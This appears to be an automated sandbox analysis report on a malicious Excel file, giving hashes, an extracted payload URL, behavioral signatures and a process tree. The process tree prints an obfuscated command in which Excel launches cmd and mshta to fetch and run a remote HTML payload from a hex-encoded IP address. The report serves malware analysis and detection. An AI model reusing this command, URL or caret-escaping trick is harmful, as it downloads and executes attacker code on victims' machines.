Analysis
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max time kernel
150s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
11-11-2024 17:45
Behavioral task
behavioral1
Sample
d9ee9cddb8edbdd50f480311c139576a953d24eb9683a02b830e3d57edfdb6d8.xls
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
d9ee9cddb8edbdd50f480311c139576a953d24eb9683a02b830e3d57edfdb6d8.xls
Resource
win10v2004-20241007-en
General
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Target
d9ee9cddb8edbdd50f480311c139576a953d24eb9683a02b830e3d57edfdb6d8.xls
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Size
108KB
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MD5
ee8d73e733ce9e31839cc7e010293795
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SHA1
a6723a4d3fd7e672b520638ec98b47f483d2d235
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SHA256
d9ee9cddb8edbdd50f480311c139576a953d24eb9683a02b830e3d57edfdb6d8
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SHA512
688727b9d2a9d397025727d63cfa74f836a3e441cd93ebc1647a11a4981ebf36293d9e4774143a08ff3aac007e71232b3e831523ca81c5de35ee7871e3b2638d
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SSDEEP
3072:+C+nBqmxk3hbdlylKsgqopeJBWhZFGkE+cMLxAAIFxe53lGvFTQ3IzxgdrvxpU0O:R+nBqmxk3hbdlylKsgqopeJBWhZFVE+s
Malware Config
Extracted
http://185.7.214.7/fer/fe4.html
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 432 2788 cmd.exe 82 -
Blocklisted process makes network request 1 IoCs
flow pid Process 23 2652 mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2788 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 2788 EXCEL.EXE 2788 EXCEL.EXE 2788 EXCEL.EXE 2788 EXCEL.EXE 2788 EXCEL.EXE 2788 EXCEL.EXE 2788 EXCEL.EXE 2788 EXCEL.EXE 2788 EXCEL.EXE 2788 EXCEL.EXE 2788 EXCEL.EXE 2788 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2788 wrote to memory of 432 2788 EXCEL.EXE 85 PID 2788 wrote to memory of 432 2788 EXCEL.EXE 85 PID 432 wrote to memory of 2652 432 cmd.exe 87 PID 432 wrote to memory of 2652 432 cmd.exe 87
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\d9ee9cddb8edbdd50f480311c139576a953d24eb9683a02b830e3d57edfdb6d8.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2788 -
C:\Windows\SYSTEM32\cmd.execmd /c ms^h^ta ht^tp:/^/0x^b^907d60^7/fe^r/f^e4.h^tm^l2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:432 -
C:\Windows\system32\mshta.exemshta http://0xb907d607/fer/fe4.html3⤵
- Blocklisted process makes network request
PID:2652
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize1KB
MD5c30ae095a84593faf95575e48b5ac2f0
SHA1ef587d36484373a88823c1841920d7a947838d83
SHA2562ce40aae5d2064dfeefaf9faa41604ed9f6fe64474c5f3498f1b71498874174c
SHA51231b41dbb337f947c85fbcb88a00bd8452a63351041ba0db1f939e9feb4c9de97b5d39c8c75bf884b088c24b67e69efd95ee876f54a7b1ee5d84a5d556aa7080b